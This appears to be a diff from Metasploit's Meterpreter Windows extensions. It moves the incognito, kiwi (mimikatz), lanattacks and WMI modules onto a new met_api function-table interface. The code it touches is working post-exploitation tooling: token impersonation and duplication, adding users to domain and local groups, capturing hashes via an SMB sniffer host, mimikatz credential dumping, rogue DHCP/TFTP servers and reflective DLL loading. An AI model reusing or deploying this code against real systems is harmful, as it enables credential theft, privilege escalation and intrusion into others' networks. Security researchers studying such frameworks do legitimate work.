#include "wmi_interface.h"
|
||||
@ -20,7 +21,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
LPSTR lpValue = NULL;
|
||||
LPWSTR lpwRoot = NULL;
|
||||
LPWSTR lpwQuery = NULL;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -29,7 +30,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI WMI] Unable to create response packet", ERROR_OUTOFMEMORY);
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
|
||||
|
||||
if (!lpValue)
|
||||
{
|
||||
@ -44,7 +45,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
|
||||
dprintf("[EXTAPI WMI] Query: %s", lpValue);
|
||||
dwResult = to_wide_string(lpValue, &lpwQuery);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -71,7 +72,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI WMI] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
|
@ -5,6 +5,7 @@
|
||||
*/
|
||||
extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include <inttypes.h>
|
||||
#include "wmi_interface.h"
|
||||
}
|
||||
@ -327,7 +328,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
|
||||
VARIANT** fields = (VARIANT**)malloc(sizeof(VARIANT*) * fieldCount);
|
||||
char value[FIELD_SIZE];
|
||||
Packet* fieldGroup = packet_create_group();
|
||||
Packet* fieldGroup = met_api->packet.create_group();
|
||||
|
||||
memset(fields, 0, sizeof(VARIANT*) * fieldCount);
|
||||
|
||||
@ -337,14 +338,14 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]);
|
||||
_bstr_t bstr(fields[i]->bstrVal);
|
||||
|
||||
packet_add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr);
|
||||
met_api->packet.add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr);
|
||||
|
||||
dprintf("[WMI] Added header field: %s", (const char*)bstr);
|
||||
}
|
||||
|
||||
dprintf("[WMI] added all field headers");
|
||||
// add the field names to the packet
|
||||
packet_add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup);
|
||||
met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup);
|
||||
|
||||
dprintf("[WMI] processing values...");
|
||||
// with that horrible pain out of the way, let's actually grab the data
|
||||
@ -356,7 +357,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
break;
|
||||
}
|
||||
|
||||
Packet* valueGroup = packet_create_group();
|
||||
Packet* valueGroup = met_api->packet.create_group();
|
||||
|
||||
for (LONG i = 0; i < fieldCount; ++i)
|
||||
{
|
||||
@ -373,13 +374,13 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
variant_to_string(_variant_t(varValue), value, FIELD_SIZE);
|
||||
}
|
||||
|
||||
packet_add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value);
|
||||
met_api->packet.add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value);
|
||||
|
||||
dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value);
|
||||
}
|
||||
|
||||
// add the field values to the packet
|
||||
packet_add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup);
|
||||
met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup);
|
||||
|
||||
pObj->Release();
|
||||
pObj = NULL;
|
||||
@ -436,7 +437,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
_com_error comError(hResult);
|
||||
_snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult);
|
||||
dprintf("[WMI] returning error -> %s", errorMessage);
|
||||
packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
|
||||
hResult = S_OK;
|
||||
}
|
||||
|
||||
|
@ -1,5 +1,6 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
#include <stdlib.h>
|
||||
@ -25,8 +26,8 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
|
||||
wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"",
|
||||
return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L"";
|
||||
|
||||
Packet *response = packet_create_response(packet);
|
||||
char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *smb_sniffer_ip = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
|
||||
// Initialise net_resource structure (essentially just set ip to that of smb_sniffer)
|
||||
if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%S", smb_sniffer_ip) == -1)
|
||||
@ -45,7 +46,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
|
||||
token_list = get_token_list(&num_tokens, &token_privs);
|
||||
if (!token_list)
|
||||
{
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
@ -76,7 +77,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
|
||||
}
|
||||
}
|
||||
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
cleanup:
|
||||
free(token_list);
|
||||
|
@ -2,21 +2,19 @@
|
||||
* This module implements token manipulation features
|
||||
*/
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include <psapi.h>
|
||||
#include "incognito.h"
|
||||
#include "token_info.h"
|
||||
#include "list_tokens.h"
|
||||
#include "user_management.h"
|
||||
#include "hash_stealer.h"
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
DWORD request_incognito_list_tokens(Remote *remote, Packet *packet);
|
||||
DWORD request_incognito_impersonate_user(Remote *remote, Packet *packet);
|
||||
@ -32,8 +30,8 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
|
||||
char *delegation_tokens = calloc(sizeof(char), BUF_SIZE);
|
||||
char *impersonation_tokens = calloc(sizeof(char), BUF_SIZE);
|
||||
|
||||
Packet *response = packet_create_response(packet);
|
||||
token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
token_order = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);
|
||||
|
||||
dprintf("[INCOGNITO] Enumerating tokens");
|
||||
// Enumerate tokens
|
||||
@ -42,7 +40,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
|
||||
if (!token_list)
|
||||
{
|
||||
dprintf("[INCOGNITO] Enumerating tokens failed with %u (%x)", GetLastError(), GetLastError());
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
|
||||
free(uniq_tokens);
|
||||
free(delegation_tokens);
|
||||
@ -76,7 +74,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
|
||||
if (uniq_tokens[i].delegation_available)
|
||||
{
|
||||
bTokensAvailable = TRUE;
|
||||
char *username = wchar_to_utf8(uniq_tokens[i].username);
|
||||
char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username);
|
||||
if (username) {
|
||||
strncat(delegation_tokens, username, BUF_SIZE - strlen(delegation_tokens) - 1);
|
||||
strncat(delegation_tokens, "\n", BUF_SIZE - strlen(delegation_tokens) - 1);
|
||||
@ -96,7 +94,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
|
||||
if (!uniq_tokens[i].delegation_available && uniq_tokens[i].impersonation_available)
|
||||
{
|
||||
bTokensAvailable = TRUE;
|
||||
char *username = wchar_to_utf8(uniq_tokens[i].username);
|
||||
char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username);
|
||||
if (username) {
|
||||
strncat(impersonation_tokens, username, BUF_SIZE - strlen(impersonation_tokens) - 1);
|
||||
strncat(impersonation_tokens, "\n", BUF_SIZE - strlen(impersonation_tokens) - 1);
|
||||
@ -110,9 +108,9 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
|
||||
strncat(impersonation_tokens, "No tokens available\n", BUF_SIZE - strlen(impersonation_tokens) - 1);
|
||||
}
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens);
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
free(token_list);
|
||||
free(uniq_tokens);
|
||||
@ -132,9 +130,9 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
|
||||
HANDLE xtoken;
|
||||
TOKEN_PRIVS token_privs;
|
||||
|
||||
Packet *response = packet_create_response(packet);
|
||||
char *impersonate_token = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
|
||||
wchar_t *requested_username = utf8_to_wchar(impersonate_token);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *impersonate_token = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
|
||||
wchar_t *requested_username = met_api->string.utf8_to_wchar(impersonate_token);
|
||||
|
||||
// Enumerate tokens
|
||||
token_list = get_token_list(&num_tokens, &token_privs);
|
||||
@ -168,7 +166,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
|
||||
if (is_token(token_list[i].token, requested_username))
|
||||
if (ImpersonateLoggedOnUser(token_list[i].token))
|
||||
{
|
||||
char *username = wchar_to_utf8(token_list[i].username);
|
||||
char *username = met_api->string.wchar_to_utf8(token_list[i].username);
|
||||
if (username) {
|
||||
strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1);
|
||||
strncat(return_value, username, sizeof(return_value)-strlen(return_value)-1);
|
||||
@ -177,7 +175,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
|
||||
if (!DuplicateTokenEx(token_list[i].token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &xtoken)) {
|
||||
dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", username, GetLastError());
|
||||
} else {
|
||||
core_update_thread_token(remote, xtoken);
|
||||
met_api->thread.update_token(remote, xtoken);
|
||||
}
|
||||
free(username);
|
||||
}
|
||||
@ -197,8 +195,8 @@ cleanup:
|
||||
free(token_list);
|
||||
free(uniq_tokens);
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -216,14 +214,15 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all( customCommands );
|
||||
met_api->command.register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -235,7 +234,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all( customCommands );
|
||||
met_api->command.deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -1,5 +1,6 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
#include <stdlib.h>
|
||||
@ -25,10 +26,10 @@ DWORD request_incognito_add_user(Remote *remote, Packet *packet)
|
||||
TOKEN_PRIVS token_privs;
|
||||
|
||||
// Read arguments
|
||||
Packet *response = packet_create_response(packet);
|
||||
dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
||||
password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
||||
password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);
|
||||
|
||||
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
|
||||
mbstowcs(username_u, username, strlen(username)+1);
|
||||
@ -105,8 +106,8 @@ cleanup:
|
||||
CloseHandle(token_list[i].token);
|
||||
free(token_list);
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
// Restore token impersonation
|
||||
if (saved_token != INVALID_HANDLE_VALUE)
|
||||
@ -126,10 +127,10 @@ DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
|
||||
TOKEN_PRIVS token_privs;
|
||||
|
||||
// Read arguments
|
||||
Packet *response = packet_create_response(packet);
|
||||
dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
|
||||
username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
|
||||
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
||||
|
||||
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
|
||||
mbstowcs(username_u, username, strlen(username)+1);
|
||||
@ -201,8 +202,8 @@ cleanup:
|
||||
CloseHandle(token_list[i].token);
|
||||
free(token_list);
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
// Restore token impersonation
|
||||
if (saved_token != INVALID_HANDLE_VALUE)
|
||||
@ -223,10 +224,10 @@ DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
|
||||
TOKEN_PRIVS token_privs;
|
||||
|
||||
// Read arguments
|
||||
Packet *response = packet_create_response(packet);
|
||||
dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
|
||||
username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
||||
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
|
||||
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
||||
|
||||
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
|
||||
mbstowcs(username_u, username, strlen(username)+1);
|
||||
@ -295,8 +296,8 @@ cleanup:
|
||||
CloseHandle(token_list[i].token);
|
||||
free(token_list);
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
// Restore token impersonation
|
||||
if (saved_token != INVALID_HANDLE_VALUE)
|
||||
|
@ -3,15 +3,17 @@
|
||||
* @brief Entry point for the kiwi extension.
|
||||
*/
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
#include "main.h"
|
||||
|
||||
extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input);
|
||||
@ -37,9 +39,9 @@ Command customCommands[] =
|
||||
DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
|
||||
wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
|
||||
if (cmd != NULL)
|
||||
{
|
||||
dprintf("[KIWI] Executing command: %S", cmd);
|
||||
@ -49,7 +51,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
wchar_t* output = powershell_reflective_mimikatz(cmd);
|
||||
if (output != NULL)
|
||||
{
|
||||
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
|
||||
met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -63,7 +65,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
dprintf("[KIWI] Dumped, transmitting response.");
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
dprintf("[KIWI] Done.");
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -71,18 +73,19 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
dprintf("[KIWI] Init server extension - initorclean");
|
||||
mimikatz_initOrClean(TRUE);
|
||||
|
||||
dprintf("[KIWI] Init server extension - register");
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
dprintf("[KIWI] Init server extension - done");
|
||||
|
||||
@ -97,7 +100,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
mimikatz_initOrClean(FALSE);
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -2,17 +2,16 @@
|
||||
* This module implements LAN attacks, like pxesploit and DHCP attacks
|
||||
*/
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
#include <windows.h>
|
||||
#include "lanattacks.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
void* dhcpserver = NULL; //global DHCP server pointer
|
||||
void* tftpserver = NULL; //global TFTP server pointer
|
||||
@ -20,11 +19,11 @@ void* tftpserver = NULL; //global TFTP server pointer
|
||||
//Launches the DHCP server
|
||||
DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
int res = startDHCPServer(dhcpserver);
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -32,12 +31,12 @@ DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet)
|
||||
//Reset the DHCP server
|
||||
DWORD request_lanattacks_reset_dhcp(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
destroyDHCPServer(dhcpserver);
|
||||
dhcpserver = createDHCPServer();
|
||||
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -48,35 +47,35 @@ DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet)
|
||||
DWORD retval = ERROR_SUCCESS;
|
||||
char* name = NULL;
|
||||
unsigned int namelen = 0;
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
//Get option value
|
||||
Tlv tlv;
|
||||
if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
|
||||
if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
//Get option name
|
||||
name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
|
||||
name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
|
||||
namelen = (unsigned int)strlen(name);
|
||||
setDHCPOption(dhcpserver, name, namelen, (char*)tlv.buffer, tlv.header.length);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(retval, remote, response);
|
||||
met_api->packet.transmit_response(retval, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
//Turns off the DHCP server
|
||||
DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
int res = stopDHCPServer(dhcpserver);
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -84,13 +83,13 @@ DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet)
|
||||
//Gets and resets the DHCP log
|
||||
DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
unsigned long loglen;
|
||||
unsigned char * log = getDHCPLog(dhcpserver, &loglen);
|
||||
|
||||
packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
free(log);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -99,11 +98,11 @@ DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet)
|
||||
//Launches the TFTP server
|
||||
DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
int res = startTFTPServer(tftpserver);
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -111,12 +110,12 @@ DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet)
|
||||
//Reset the TFTP server
|
||||
DWORD request_lanattacks_reset_tftp(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
destroyTFTPServer(tftpserver);
|
||||
tftpserver = createTFTPServer();
|
||||
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -127,34 +126,34 @@ DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet)
|
||||
DWORD retval = ERROR_SUCCESS;
|
||||
char* name = NULL;
|
||||
unsigned int namelen = 0;
|
||||
